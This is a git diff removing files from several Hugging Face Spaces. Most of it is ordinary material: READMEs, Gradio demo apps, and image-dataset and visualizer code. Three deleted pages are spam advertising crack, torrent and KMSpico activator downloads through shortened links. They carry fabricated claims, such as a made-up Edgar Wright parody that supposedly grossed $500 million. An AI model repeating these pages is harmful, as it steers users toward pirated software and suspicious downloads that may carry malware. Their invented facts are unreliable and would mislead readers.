-- プロンプトテンプレートを使用するには、プロンプトテンプレートコレクションを選択し、ドロップダウンメニューから特定のプロンプトを選択。回答が不十分な場合は、`🔄再生成`ボタンを使って再試行します。
-- 入力ボックスで改行するには、<kbd>Shift</kbd> + <kbd>Enter</kbd>キーを押してください。
-- 入力履歴を素早く切り替えるには、入力ボックスで <kbd>↑</kbd>と<kbd>↓</kbd>キーを押す。
-- プログラムをサーバにデプロイするには、プログラムの最終行を `demo.launch(server_name="0.0.0.0", server_port=<your port number>)`に変更します。
-- 共有リンクを取得するには、プログラムの最後の行を `demo.launch(share=True)` に変更してください。なお、公開リンクでアクセスするためには、プログラムが実行されている必要があることに注意してください。
-- Hugging Face Spacesで使用する場合： より速く、より安全に利用するために、**Duplicate Space**を使用し、自分のスペースでプログラムを実行することをお勧めします。
-
-## インストール
-
-```shell
-git clone https://github.com/GaiZhenbiao/ChuanhuChatGPT.git
-cd ChuanhuChatGPT
-pip install -r requirements.txt
-```
-
-次に `config_example.json`をコピーして `config.json`にリネームし、そのファイルにAPI-Keyなどの設定を記入する。
-
-```shell
-python ChuanhuChatbot.py
-```
-
-ブラウザのウィンドウが開き、ChatGPTとチャットできるようになります。
-
-> **Note**
->
-> 詳しい手順は[wikiページ](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/使用教程)をご確認ください。
-
-## トラブルシューティング
-
-問題が発生した場合は、まずこのプロジェクトの最新の変更点を手動で引っ張ってみるのがよいでしょう。その手順は以下の通りです：
-
-1. ウェブページの `Download ZIP` をクリックして最新のコードアーカイブをダウンロードするか、または
-   ```shell
-   git pull https://github.com/GaiZhenbiao/ChuanhuChatGPT.git main -f
-   ```
-2. 新しい依存関係が導入されている可能性があるため、依存関係を再度インストールしてみてください。
-   ```
-   pip install -r requirements.txt
-   ```
-3. Gradioを更新
-   ```
-   pip install gradio --upgrade --force-reinstall
-   ```
-
-一般的に、以下の手順でほとんどの問題を解決することができます。
-
-それでも問題が解決しない場合は、こちらのページをご参照ください： [よくある質問（FAQ）](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/常见问题)
-
-このページでは、考えられるほぼすべての問題点と解決策を掲載しています。よくお読みください。
-
-## More Information
-
-より詳細な情報は、[wiki](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki) をご覧ください。:
-
-- [How to contribute a translation](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/Localization)
-- [How to make a contribution](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/贡献指南)
-- [How to cite the project](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/使用许可#如何引用该项目)
-- [Project changelog](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/更新日志)
-- [Project license](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/使用许可)
-
-## Starchart
-
-[![Star History Chart](https://api.star-history.com/svg?repos=GaiZhenbiao/ChuanhuChatGPT&type=Date)](https://star-history.com/#GaiZhenbiao/ChuanhuChatGPT&Date)
-
-## Contributors
-
-<a href="https://github.com/GaiZhenbiao/ChuanhuChatGPT/graphs/contributors">
-  <img src="https://contrib.rocks/image?repo=GaiZhenbiao/ChuanhuChatGPT" />
-</a>
-
-## Sponsor
-
-🐯 この企画が役に立ったら、遠慮なくコーラかコーヒーでもおごってください〜。
-
-<a href="https://www.buymeacoffee.com/ChuanhuChat" ><img src="https://img.buymeacoffee.com/button-api/?text=Buy me a coffee&emoji=&slug=ChuanhuChat&button_colour=219d53&font_colour=ffffff&font_family=Poppins&outline_colour=ffffff&coffee_colour=FFDD00" alt="Buy Me A Coffee" width="250"></a>
-
-<img width="250" alt="image" src="https://user-images.githubusercontent.com/51039745/226920291-e8ec0b0a-400f-4c20-ac13-dafac0c3aeeb.JPG">
diff --git a/spaces/speechbrain/README/README.md b/spaces/speechbrain/README/README.md
deleted file mode 100644
index 2cfa01e4c80b7385429bf6296ba6cab1a4b54dd7..0000000000000000000000000000000000000000
--- a/spaces/speechbrain/README/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: README
-emoji: 🐨
-colorFrom: pink
-colorTo: yellow
-sdk: static
-pinned: false
----
-
-<img src="https://aeiljuispo.cloudimg.io/v7/https://s3.amazonaws.com/moonup/production/uploads/1663000279893-60243f18c1f3c79f98e4b382.png?w=200&h=200&f=face"
-alt="Markdown Monster icon" alt="drawing" width="200" style="float: left"/> 
-
-[SpeechBrain](https://github.com/speechbrain/speechbrain) is an **open-source** and all-in-one **conversational AI** toolkit based on PyTorch.
-<br/><br/>
-We released to the community models for **Speech Recognition**, **Text-to-Speech**, **Speaker Recognition**, **Speech Enhancement**, **Speech Separation**, **Spoken Language Understanding**, **Language Identification**,  **Emotion Recognition**, **Voice Activity Detection**, **Sound Classification**, **Grapheme-to-Phoneme**, and many others.
-<br/><br/>
-
-
-<span style="color:blue">Website:</span> https://speechbrain.github.io/
-
-<span style="color:blue">GitHub:</span> https://github.com/speechbrain/speechbrain
-
-<span style="color:blue">HuggingFace:</span> https://huggingface.co/speechbrain
-
-
diff --git a/spaces/stomexserde/gpt4-ui/Examples/FlyWings 2018 - Boeing 747 Family Crack And Patch File Downloadl.md b/spaces/stomexserde/gpt4-ui/Examples/FlyWings 2018 - Boeing 747 Family Crack And Patch File Downloadl.md
deleted file mode 100644
index 25617e12e385081b840941f999c6809d67273f8b..0000000000000000000000000000000000000000
--- a/spaces/stomexserde/gpt4-ui/Examples/FlyWings 2018 - Boeing 747 Family Crack And Patch File Downloadl.md	
+++ /dev/null
@@ -1,33 +0,0 @@
-<br />
-<h1>FlyWings 2018 - Boeing 747 Family: A Review of the DLC for the Popular Flight Simulator</h1>
-<p>FlyWings 2018 is a flight simulator game that lets you experience the thrill of flying different types of aircrafts in realistic scenarios. The game was developed and published by Thetis Games and released on Steam in March 2023. One of the DLCs for the game is FlyWings 2018 - Boeing 747 Family, which adds four models of the iconic Boeing 747 jumbo jet to the game.</p>
-<h2>FlyWings 2018 - Boeing 747 Family Crack And Patch File Downloadl</h2><br /><p><b><b>Download File</b> &#9733;&#9733;&#9733;&#9733;&#9733; <a href="https://urlgoal.com/2uIbdX">https://urlgoal.com/2uIbdX</a></b></p><br /><br />
-<p>The Boeing 747 is one of the most recognizable and influential aircrafts in history, with over 1,500 units built since its first flight in 1969. It is also one of the largest and heaviest passenger planes ever made, capable of carrying up to 660 passengers and over 100 tons of cargo. The DLC features four variants of the Boeing 747: the 747-100, the original model; the 747-200, which has a longer range and more powerful engines; the 747-400, which has improved avionics and winglets; and the 747-8, which is the latest and most advanced version.</p>
-<p>The DLC allows you to fly these planes in different regions of the world, such as North America, Europe, Asia, and Australia. You can also customize your plane with different liveries and configurations. The DLC also includes realistic sounds, animations, and cockpit instruments for each plane. The graphics are detailed and immersive, and the physics are accurate and responsive.</p>
-<p>The DLC is a must-have for fans of FlyWings 2018 and aviation enthusiasts who want to experience flying one of the most iconic planes in history. The DLC adds more variety and challenge to the game, as well as more fun and satisfaction. The DLC is available on Steam for $4.99 USD.</p><p>Here are some tips on how to play FlyWings 2018 - Boeing 747 Family:</p>
-<p></p>
-<ul>
-<li>Before you start a flight, make sure to check the weather conditions and plan your route accordingly. You can use the map and the GPS to navigate.</li>
-<li>Choose the right plane for your flight. The 747-100 and the 747-200 are older and less efficient, but they have more historical value. The 747-400 and the 747-8 are newer and more advanced, but they are also more expensive and complex.</li>
-<li>Adjust your plane's settings and controls according to your preferences. You can change the camera angle, the throttle, the flaps, the landing gear, the autopilot, and more.</li>
-<li>Follow the instructions and guidance from the air traffic control and the co-pilot. They will help you with takeoff, landing, and emergency situations.</li>
-<li>Enjoy the view and the realism of flying a Boeing 747. You can see landmarks, cities, mountains, oceans, and other planes from your cockpit or window.</li>
-</ul>
-<p>FlyWings 2018 - Boeing 747 Family is a DLC that enhances the gameplay and the realism of FlyWings 2018. It is a great way to learn more about aviation and to have fun with flying one of the most legendary planes in history.</p><p>Here are some of the pros and cons of FlyWings 2018 - Boeing 747 Family:</p>
-<p>Pros:</p>
-<ul>
-<li>The DLC adds more content and variety to FlyWings 2018, which already has over 100 planes and 1000 airports to choose from.</li>
-<li>The DLC is realistic and accurate, with detailed graphics, sounds, animations, and physics. The planes are modeled after the real Boeing 747s, with authentic liveries and configurations.</li>
-<li>The DLC is challenging and rewarding, as flying a Boeing 747 requires skill and patience. You have to manage the speed, altitude, fuel, weight, and other factors of your plane.</li>
-<li>The DLC is educational and informative, as you can learn more about the history and the features of the Boeing 747. You can also learn more about the geography and the culture of the regions you fly over.</li>
-</ul>
-<p>Cons:</p>
-<ul>
-<li>The DLC is expensive, as it costs $4.99 USD on top of the base game, which costs $19.99 USD. You may want to wait for a sale or a bundle offer before buying it.</li>
-<li>The DLC is demanding, as it requires a powerful PC to run smoothly. You may need to lower your graphics settings or upgrade your hardware to enjoy the game.</li>
-<li>The DLC is buggy, as it may have some glitches and errors that affect the gameplay. You may encounter issues with the controls, the sounds, the graphics, or the performance of the game.</li>
-<li>The DLC is repetitive, as it may get boring after a while. You may want to try other modes or other planes to spice up your game.</li>
-</ul>
-<p>In conclusion, FlyWings 2018 - Boeing 747 Family is a DLC that adds four models of the Boeing 747 to FlyWings 2018. It is a realistic and immersive flight simulator game that lets you experience flying one of the most iconic planes in history. It has its pros and cons, but overall it is a worthwhile purchase for fans of FlyWings 2018 and aviation enthusiasts.</p> cec2833e83<br />
-<br />
-<br />
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diff --git a/spaces/stomexserde/gpt4-ui/Examples/Inexplicable Geeks Dawn Of Just Us Torrent Download.md b/spaces/stomexserde/gpt4-ui/Examples/Inexplicable Geeks Dawn Of Just Us Torrent Download.md
deleted file mode 100644
index b3058cbfba728e9c4c3f6a1e03db3f389a72ec80..0000000000000000000000000000000000000000
--- a/spaces/stomexserde/gpt4-ui/Examples/Inexplicable Geeks Dawn Of Just Us Torrent Download.md	
+++ /dev/null
@@ -1,17 +0,0 @@
-
-<h1>Inexplicable Geeks: Dawn Of Just Us Torrent Download - How To Watch The Hilarious Parody Online</h1>
-<p>If you are a fan of superhero movies and comedy, you might want to check out <strong>Inexplicable Geeks: Dawn Of Just Us</strong>, a hilarious parody of the DC Extended Universe. The movie is directed by <a href="https://en.wikipedia.org/wiki/Edgar_Wright">Edgar Wright</a>, the mastermind behind <em>Shaun of the Dead</em>, <em>Hot Fuzz</em>, and <em>Baby Driver</em>. It stars <a href="https://en.wikipedia.org/wiki/Simon_Pegg">Simon Pegg</a> as Batman, <a href="https://en.wikipedia.org/wiki/Nick_Frost">Nick Frost</a> as Superman, <a href="https://en.wikipedia.org/wiki/Kate_McKinnon">Kate McKinnon</a> as Wonder Woman, and <a href="https://en.wikipedia.org/wiki/Will_Ferrell">Will Ferrell</a> as Lex Luthor.</p>
-<p>The movie is a spoof of the 2016 film <em>Batman v Superman: Dawn of Justice</em>, but with a twist. Instead of fighting each other, Batman and Superman team up to stop Lex Luthor from unleashing a horde of zombies on the world. Along the way, they encounter Wonder Woman, who joins them in their quest. The movie is full of jokes, references, and Easter eggs that poke fun at the superhero genre and the DC movies in particular.</p>
-<h2>Inexplicable Geeks: Dawn Of Just Us Torrent Download</h2><br /><p><b><b>Download</b> >> <a href="https://urlgoal.com/2uIc9k">https://urlgoal.com/2uIc9k</a></b></p><br /><br />
-<p>The movie was released in theaters on April 1st, 2023, as an April Fools' prank. However, it received rave reviews from critics and audiences alike, who praised its witty script, clever satire, and hilarious performances. The movie became a box office hit, grossing over $500 million worldwide.</p>
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-<p>Before we proceed, we must warn you that downloading and sharing copyrighted material without permission is illegal and can get you in trouble with the law. You might also expose your device to viruses, malware, and hackers. Therefore, we do not condone or encourage piracy in any way.</p>
-<p></p>
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\ No newline at end of file
diff --git a/spaces/stomexserde/gpt4-ui/Examples/KMSpico 10 2 0 FINAL (Office And Win 10 Activator) [TechTools] 64 Bit.md b/spaces/stomexserde/gpt4-ui/Examples/KMSpico 10 2 0 FINAL (Office And Win 10 Activator) [TechTools] 64 Bit.md
deleted file mode 100644
index 868c1e6cb5a3eb8fc97056d82e2e55d9ed3c3ede..0000000000000000000000000000000000000000
--- a/spaces/stomexserde/gpt4-ui/Examples/KMSpico 10 2 0 FINAL (Office And Win 10 Activator) [TechTools] 64 Bit.md	
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<h1>KMSpico 10 2 0 FINAL: The Ultimate Tool to Activate Windows and Office</h1>
- <p>If you are looking for a way to activate Windows 10 or Office 2016 without paying a dime, you may have heard of a tool called <strong>KMSpico</strong>. But what is it exactly? How does it work? And is it safe to use?</p>
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- <p>By the end of this article, you will have a clear understanding of what KMSpico is and how you can use it to activate Windows and Office products for free.</p>
- <h2>How KMSpico Works</h2>
- <p>KMSpico is a software that mimics the activation process of Microsoft products using a technology called <strong>Key Management Service (KMS)</strong>. This technology was originally designed by Microsoft for large organizations that need to activate multiple devices with a single license key.</p>
-<p></p>
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diff --git a/spaces/sub314xxl/voicechange/app.py b/spaces/sub314xxl/voicechange/app.py
deleted file mode 100644
index 91a24d8bb049dd02405ad817b7c59a76fd416b0e..0000000000000000000000000000000000000000
--- a/spaces/sub314xxl/voicechange/app.py
+++ /dev/null
@@ -1,18 +0,0 @@
-import gradio as gr
-from TTS.api import TTS
-import tempfile
-
-api = TTS(model_name="voice_conversion_models/multilingual/vctk/freevc24")
-
-def greet(source, target):
-    path = tempfile.NamedTemporaryFile(prefix="bttm_", suffix=".wav").name
-
-    print("adio", source, target, path)
-    api.voice_conversion_to_file(source_wav=source, target_wav=target, file_path=path)
-    print("> Done")
-
-    return path
-
-app = gr.Interface(fn=greet, inputs=[gr.Audio(type="filepath"), gr.Audio(type="filepath")], outputs=gr.Audio(type="filepath"))
-app.queue(max_size=5000, concurrency_count=5)
-app.launch()
\ No newline at end of file
diff --git a/spaces/subhc/Guess-What-Moves/app.py b/spaces/subhc/Guess-What-Moves/app.py
deleted file mode 100644
index 891a81a91aacc33706a81e197d431a8f2c02731e..0000000000000000000000000000000000000000
--- a/spaces/subhc/Guess-What-Moves/app.py
+++ /dev/null
@@ -1,151 +0,0 @@
-#!/usr/bin/env python
-
-import os
-try:
-        import detectron2
-except:
-        os.system('pip install git+https://github.com/facebookresearch/detectron2.git')
-
-import logging
-logging.disable(logging.CRITICAL) # comment out to enable verbose logging
-
-#########################################################
-import pathlib
-import gradio as gr
-import numpy as np
-import PIL.Image as Image
-import os
-import numpy as np
-import torch
-import torch.nn.functional as F
-import matplotlib.pyplot as plt
-from PIL import Image
-from collections import defaultdict
-from pathlib import Path
-from torch.utils.data import Dataset, DataLoader
-from torchvision import transforms as T
-from tqdm import tqdm
-from types import SimpleNamespace
-from detectron2.checkpoint import DetectionCheckpointer
-from detectron2.data import MetadataCatalog
-from detectron2.utils.visualizer import Visualizer
-
-import config
-import utils as ut
-from eval_utils import MaskMerger
-from mask_former_trainer import setup, Trainer
-
-
-def load_model_cfg(dataset=None):
-
-    args = SimpleNamespace(config_file='configs/maskformer/maskformer_R50_bs16_160k_dino.yaml', opts=["MODEL.DEVICE", "cpu", "GWM.DATASET", dataset], wandb_sweep_mode=False, resume_path=str('checkpoints/checkpoint_best.pth'), eval_only=True)
-    cfg = setup(args)
-    random_state = ut.random_state.PytorchRNGState(seed=cfg.SEED).to(torch.device(cfg.MODEL.DEVICE))
-
-    model = Trainer.build_model(cfg)
-    checkpointer = DetectionCheckpointer(model,
-                                         random_state=random_state,
-                                         save_dir=None)
-
-    checkpoint_path = 'checkpoints/checkpoint_best.pth'
-    checkpoint = checkpointer.resume_or_load(checkpoint_path, resume=False)
-    model.eval()
-
-    return model, cfg
-
-def edgeness(masks):
-
-    em = torch.zeros(1, masks.shape[-2], masks.shape[-1], device=masks.device)
-    lm = em.clone()
-    lm[..., :2] = 1.
-    rm = em.clone()
-    rm[...,-2:] = 1.
-    tm = em.clone()
-    tm[..., :2, :] = 1.
-    bm = em.clone()
-    bm[..., -2:,:] = 1.
-    
-    one = torch.tensor(1.,dtype= masks.dtype, device=masks.device)
-    
-    l = (masks * lm).flatten(-2).sum(-1) / lm.sum()
-    l = torch.where(l > 0.3, one, l)
-    r = (masks * rm).flatten(-2).sum(-1) / rm.sum()
-    r = torch.where(r > 0.3, one, r)
-    t = (masks * tm).flatten(-2).sum(-1) / tm.sum()
-    t = torch.where(t > 0.3, one, t)
-    b = (masks * bm).flatten(-2).sum(-1) / bm.sum()
-    b = torch.where(b > 0.3, one, b)
-    return (l + r + t + b )
-
-def expand2sizedivisible(pil_img, background_color, size_divisibility):
-    width, height = pil_img.size
-    if width % size_divisibility == 0 and height % size_divisibility == 0:
-        return pil_img
-    result = Image.new(pil_img.mode, (width + (size_divisibility - width%size_divisibility)%size_divisibility, height + (size_divisibility - height%size_divisibility)%size_divisibility), background_color)
-    result.paste(pil_img, (((size_divisibility - width%size_divisibility)%size_divisibility) // 2, ((size_divisibility - height%size_divisibility)%size_divisibility) // 2))
-    
-    return result
-
-def cropfromsizedivisible(img, size_divisibility, orig_size):
-    height, width = img.shape[:2]
-    owidth, oheight = orig_size
-    result = img[(height-oheight)//2:oheight+(height-oheight)//2, (width-owidth)//2:owidth+(width-owidth)//2]
-    
-    return result
-
-
-def evaluate_image(image_path):
-    binary_threshold = 0.5
-    metadata = MetadataCatalog.get("__unused")
-    
-    image_pil = Image.open(image_path).convert('RGB')
-    image_pil.thumbnail((384, 384))
-    osize = image_pil.size
-    if cfg.MODEL.MASK_FORMER.SIZE_DIVISIBILITY > 0:
-        image_pil = expand2sizedivisible(image_pil, 0, cfg.MODEL.MASK_FORMER.SIZE_DIVISIBILITY)
-        
-    image = np.asarray(image_pil)
-    image_pt = torch.from_numpy(np.array(image)).permute(2,0,1)
-
-    with torch.no_grad():
-        sample = [{'rgb': image_pt}]
-        preds = model.forward_base(sample, keys=['rgb'], get_eval=True)
-        masks_raw = torch.stack([x['sem_seg'] for x in preds], 0)
-
-        K = masks_raw.shape[1]
-        if K > 2:
-            masks_softmaxed = torch.softmax(masks_raw, dim=1)
-            masks_dict = merger(sample, masks_softmaxed)
-            K = 2
-            masks = masks_dict['cos']
-        else:
-            print(K)
-            masks = masks_raw.softmax(1)
-        masks_raw = F.interpolate(masks, size=(image_pt.shape[-2], image_pt.shape[-1]), mode='bilinear')  # t s 1 h w
-        bg = edgeness(masks_raw)[0].argmax().item() 
-        
-        masks = masks_raw[0] > binary_threshold
-        frame_visualizer = Visualizer(image, metadata)
-        out = frame_visualizer.overlay_instances(
-            masks=masks[[int(bg==0)]],  
-            alpha=0.3,
-            assigned_colors=[(1,0,1)]
-        ).get_image()
-
-        return cropfromsizedivisible(out, cfg.MODEL.MASK_FORMER.SIZE_DIVISIBILITY, osize)
-        
-
-paths = sorted(pathlib.Path('samples').glob('*.jpg'))
-css = ".component-1 {height: 256px !important;}"
-
-model, cfg = load_model_cfg("DAVIS")
-merger = MaskMerger(cfg, model, merger_model="dino_vitb8")
-demo = gr.Interface(
-    fn=evaluate_image,
-    inputs=gr.Image(label='Image', type='filepath'),
-    outputs=gr.Image(label='Annotated Image', type='numpy'),
-    examples=[[path.as_posix(), 0.15, 6] for path in paths],
-    title="Guess What Moves",
-    description="#### Unsupervised image segmentation mode of [Guess What Moves](https://www.robots.ox.ac.uk/~vgg/research/gwm/)",
-    css=css)
-demo.queue().launch()
diff --git a/spaces/supertori/files/stable-diffusion-webui/modules/textual_inversion/dataset.py b/spaces/supertori/files/stable-diffusion-webui/modules/textual_inversion/dataset.py
deleted file mode 100644
index 093efcd4fc70602a802a82bc50457d0a5d08b5e2..0000000000000000000000000000000000000000
--- a/spaces/supertori/files/stable-diffusion-webui/modules/textual_inversion/dataset.py
+++ /dev/null
@@ -1,246 +0,0 @@
-import os
-import numpy as np
-import PIL
-import torch
-from PIL import Image
-from torch.utils.data import Dataset, DataLoader, Sampler
-from torchvision import transforms
-from collections import defaultdict
-from random import shuffle, choices
-
-import random
-import tqdm
-from modules import devices, shared
-import re
-
-from ldm.modules.distributions.distributions import DiagonalGaussianDistribution
-
-re_numbers_at_start = re.compile(r"^[-\d]+\s*")
-
-
-class DatasetEntry:
-    def __init__(self, filename=None, filename_text=None, latent_dist=None, latent_sample=None, cond=None, cond_text=None, pixel_values=None, weight=None):
-        self.filename = filename
-        self.filename_text = filename_text
-        self.weight = weight
-        self.latent_dist = latent_dist
-        self.latent_sample = latent_sample
-        self.cond = cond
-        self.cond_text = cond_text
-        self.pixel_values = pixel_values
-
-
-class PersonalizedBase(Dataset):
-    def __init__(self, data_root, width, height, repeats, flip_p=0.5, placeholder_token="*", model=None, cond_model=None, device=None, template_file=None, include_cond=False, batch_size=1, gradient_step=1, shuffle_tags=False, tag_drop_out=0, latent_sampling_method='once', varsize=False, use_weight=False):
-        re_word = re.compile(shared.opts.dataset_filename_word_regex) if len(shared.opts.dataset_filename_word_regex) > 0 else None
-
-        self.placeholder_token = placeholder_token
-
-        self.flip = transforms.RandomHorizontalFlip(p=flip_p)
-
-        self.dataset = []
-
-        with open(template_file, "r") as file:
-            lines = [x.strip() for x in file.readlines()]
-
-        self.lines = lines
-
-        assert data_root, 'dataset directory not specified'
-        assert os.path.isdir(data_root), "Dataset directory doesn't exist"
-        assert os.listdir(data_root), "Dataset directory is empty"
-
-        self.image_paths = [os.path.join(data_root, file_path) for file_path in os.listdir(data_root)]
-
-        self.shuffle_tags = shuffle_tags
-        self.tag_drop_out = tag_drop_out
-        groups = defaultdict(list)
-
-        print("Preparing dataset...")
-        for path in tqdm.tqdm(self.image_paths):
-            alpha_channel = None
-            if shared.state.interrupted:
-                raise Exception("interrupted")
-            try:
-                image = Image.open(path)
-                #Currently does not work for single color transparency
-                #We would need to read image.info['transparency'] for that
-                if use_weight and 'A' in image.getbands():
-                    alpha_channel = image.getchannel('A')
-                image = image.convert('RGB')
-                if not varsize:
-                    image = image.resize((width, height), PIL.Image.BICUBIC)
-            except Exception:
-                continue
-
-            text_filename = os.path.splitext(path)[0] + ".txt"
-            filename = os.path.basename(path)
-
-            if os.path.exists(text_filename):
-                with open(text_filename, "r", encoding="utf8") as file:
-                    filename_text = file.read()
-            else:
-                filename_text = os.path.splitext(filename)[0]
-                filename_text = re.sub(re_numbers_at_start, '', filename_text)
-                if re_word:
-                    tokens = re_word.findall(filename_text)
-                    filename_text = (shared.opts.dataset_filename_join_string or "").join(tokens)
-
-            npimage = np.array(image).astype(np.uint8)
-            npimage = (npimage / 127.5 - 1.0).astype(np.float32)
-
-            torchdata = torch.from_numpy(npimage).permute(2, 0, 1).to(device=device, dtype=torch.float32)
-            latent_sample = None
-
-            with devices.autocast():
-                latent_dist = model.encode_first_stage(torchdata.unsqueeze(dim=0))
-
-            #Perform latent sampling, even for random sampling.
-            #We need the sample dimensions for the weights
-            if latent_sampling_method == "deterministic":
-                if isinstance(latent_dist, DiagonalGaussianDistribution):
-                    # Works only for DiagonalGaussianDistribution
-                    latent_dist.std = 0
-                else:
-                    latent_sampling_method = "once"
-            latent_sample = model.get_first_stage_encoding(latent_dist).squeeze().to(devices.cpu)
-
-            if use_weight and alpha_channel is not None:
-                channels, *latent_size = latent_sample.shape
-                weight_img = alpha_channel.resize(latent_size)
-                npweight = np.array(weight_img).astype(np.float32)
-                #Repeat for every channel in the latent sample
-                weight = torch.tensor([npweight] * channels).reshape([channels] + latent_size)
-                #Normalize the weight to a minimum of 0 and a mean of 1, that way the loss will be comparable to default.
-                weight -= weight.min()
-                weight /= weight.mean()
-            elif use_weight:
-                #If an image does not have a alpha channel, add a ones weight map anyway so we can stack it later
-                weight = torch.ones(latent_sample.shape)
-            else:
-                weight = None
-            
-            if latent_sampling_method == "random":
-                entry = DatasetEntry(filename=path, filename_text=filename_text, latent_dist=latent_dist, weight=weight)
-            else:
-                entry = DatasetEntry(filename=path, filename_text=filename_text, latent_sample=latent_sample, weight=weight)
-
-            if not (self.tag_drop_out != 0 or self.shuffle_tags):
-                entry.cond_text = self.create_text(filename_text)
-
-            if include_cond and not (self.tag_drop_out != 0 or self.shuffle_tags):
-                with devices.autocast():
-                    entry.cond = cond_model([entry.cond_text]).to(devices.cpu).squeeze(0)
-            groups[image.size].append(len(self.dataset))
-            self.dataset.append(entry)
-            del torchdata
-            del latent_dist
-            del latent_sample
-            del weight
-
-        self.length = len(self.dataset)
-        self.groups = list(groups.values())
-        assert self.length > 0, "No images have been found in the dataset."
-        self.batch_size = min(batch_size, self.length)
-        self.gradient_step = min(gradient_step, self.length // self.batch_size)
-        self.latent_sampling_method = latent_sampling_method
-
-        if len(groups) > 1:
-            print("Buckets:")
-            for (w, h), ids in sorted(groups.items(), key=lambda x: x[0]):
-                print(f"  {w}x{h}: {len(ids)}")
-            print()
-
-    def create_text(self, filename_text):
-        text = random.choice(self.lines)
-        tags = filename_text.split(',')
-        if self.tag_drop_out != 0:
-            tags = [t for t in tags if random.random() > self.tag_drop_out]
-        if self.shuffle_tags:
-            random.shuffle(tags)
-        text = text.replace("[filewords]", ','.join(tags))
-        text = text.replace("[name]", self.placeholder_token)
-        return text
-
-    def __len__(self):
-        return self.length
-
-    def __getitem__(self, i):
-        entry = self.dataset[i]
-        if self.tag_drop_out != 0 or self.shuffle_tags:
-            entry.cond_text = self.create_text(entry.filename_text)
-        if self.latent_sampling_method == "random":
-            entry.latent_sample = shared.sd_model.get_first_stage_encoding(entry.latent_dist).to(devices.cpu)
-        return entry
-
-
-class GroupedBatchSampler(Sampler):
-    def __init__(self, data_source: PersonalizedBase, batch_size: int):
-        super().__init__(data_source)
-
-        n = len(data_source)
-        self.groups = data_source.groups
-        self.len = n_batch = n // batch_size
-        expected = [len(g) / n * n_batch * batch_size for g in data_source.groups]
-        self.base = [int(e) // batch_size for e in expected]
-        self.n_rand_batches = nrb = n_batch - sum(self.base)
-        self.probs = [e%batch_size/nrb/batch_size if nrb>0 else 0 for e in expected]
-        self.batch_size = batch_size
-
-    def __len__(self):
-        return self.len
-
-    def __iter__(self):
-        b = self.batch_size
-
-        for g in self.groups:
-            shuffle(g)
-
-        batches = []
-        for g in self.groups:
-            batches.extend(g[i*b:(i+1)*b] for i in range(len(g) // b))
-        for _ in range(self.n_rand_batches):
-            rand_group = choices(self.groups, self.probs)[0]
-            batches.append(choices(rand_group, k=b))
-
-        shuffle(batches)
-
-        yield from batches
-
-
-class PersonalizedDataLoader(DataLoader):
-    def __init__(self, dataset, latent_sampling_method="once", batch_size=1, pin_memory=False):
-        super(PersonalizedDataLoader, self).__init__(dataset, batch_sampler=GroupedBatchSampler(dataset, batch_size), pin_memory=pin_memory)
-        if latent_sampling_method == "random":
-            self.collate_fn = collate_wrapper_random
-        else:
-            self.collate_fn = collate_wrapper
-
-
-class BatchLoader:
-    def __init__(self, data):
-        self.cond_text = [entry.cond_text for entry in data]
-        self.cond = [entry.cond for entry in data]
-        self.latent_sample = torch.stack([entry.latent_sample for entry in data]).squeeze(1)
-        if all(entry.weight is not None for entry in data):
-            self.weight = torch.stack([entry.weight for entry in data]).squeeze(1)
-        else:
-            self.weight = None
-        #self.emb_index = [entry.emb_index for entry in data]
-        #print(self.latent_sample.device)
-
-    def pin_memory(self):
-        self.latent_sample = self.latent_sample.pin_memory()
-        return self
-
-def collate_wrapper(batch):
-    return BatchLoader(batch)
-
-class BatchLoaderRandom(BatchLoader):
-    def __init__(self, data):
-        super().__init__(data)
-
-    def pin_memory(self):
-        return self
-
-def collate_wrapper_random(batch):
-    return BatchLoaderRandom(batch)
\ No newline at end of file
diff --git a/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/Bank Soal Ekonomi Sma Kelas X Beserta Jawabanl [NEW].md b/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/Bank Soal Ekonomi Sma Kelas X Beserta Jawabanl [NEW].md
deleted file mode 100644
index dca6f7d844725c3212b62f98c7647f83a075d47e..0000000000000000000000000000000000000000
--- a/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/Bank Soal Ekonomi Sma Kelas X Beserta Jawabanl [NEW].md	
+++ /dev/null
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deleted file mode 100644
index 64f0686a42c868548b8d36a5f005c7b946d88450..0000000000000000000000000000000000000000
--- a/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/Madrasile Mon Malayalam Movie Download.md	
+++ /dev/null
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deleted file mode 100644
index 6166267cf05536a60b635a9471753335f25ce9a5..0000000000000000000000000000000000000000
--- a/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/Morton Benson Recnik Englesko Srpski Pdf Rar Sfondo Esecuzione Ba.md	
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deleted file mode 100644
index ba29e052bb7bddef42f7f5e4c773287f0ce491d6..0000000000000000000000000000000000000000
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diff --git a/spaces/svjack/ControlNet-Face-Chinese/SPIGA/spiga/data/visualize/inspect_heatmaps.py b/spaces/svjack/ControlNet-Face-Chinese/SPIGA/spiga/data/visualize/inspect_heatmaps.py
deleted file mode 100644
index 63527ccfe2b4a57b1fce81d01da8e2ba51b0bac1..0000000000000000000000000000000000000000
--- a/spaces/svjack/ControlNet-Face-Chinese/SPIGA/spiga/data/visualize/inspect_heatmaps.py
+++ /dev/null
@@ -1,92 +0,0 @@
-import cv2
-import numpy as np
-
-from spiga.data.visualize.inspect_dataset import DatasetInspector, inspect_parser
-
-
-class HeatmapInspector(DatasetInspector):
-
-    def __init__(self, database, anns_type, data_aug=True, image_shape=(256,256)):
-
-        super().__init__(database, anns_type, data_aug=data_aug, pose=False, image_shape=image_shape)
-
-        self.data_config.aug_names.append('heatmaps2D')
-        self.data_config.heatmap2D_norm = False
-        self.data_config.aug_names.append('boundaries')
-        self.data_config.shuffle = False
-        self.reload_dataset()
-
-    def show_dataset(self, ids_list=None):
-
-        if ids_list is None:
-            ids = self.get_idx(shuffle=self.data_config.shuffle)
-        else:
-            ids = ids_list
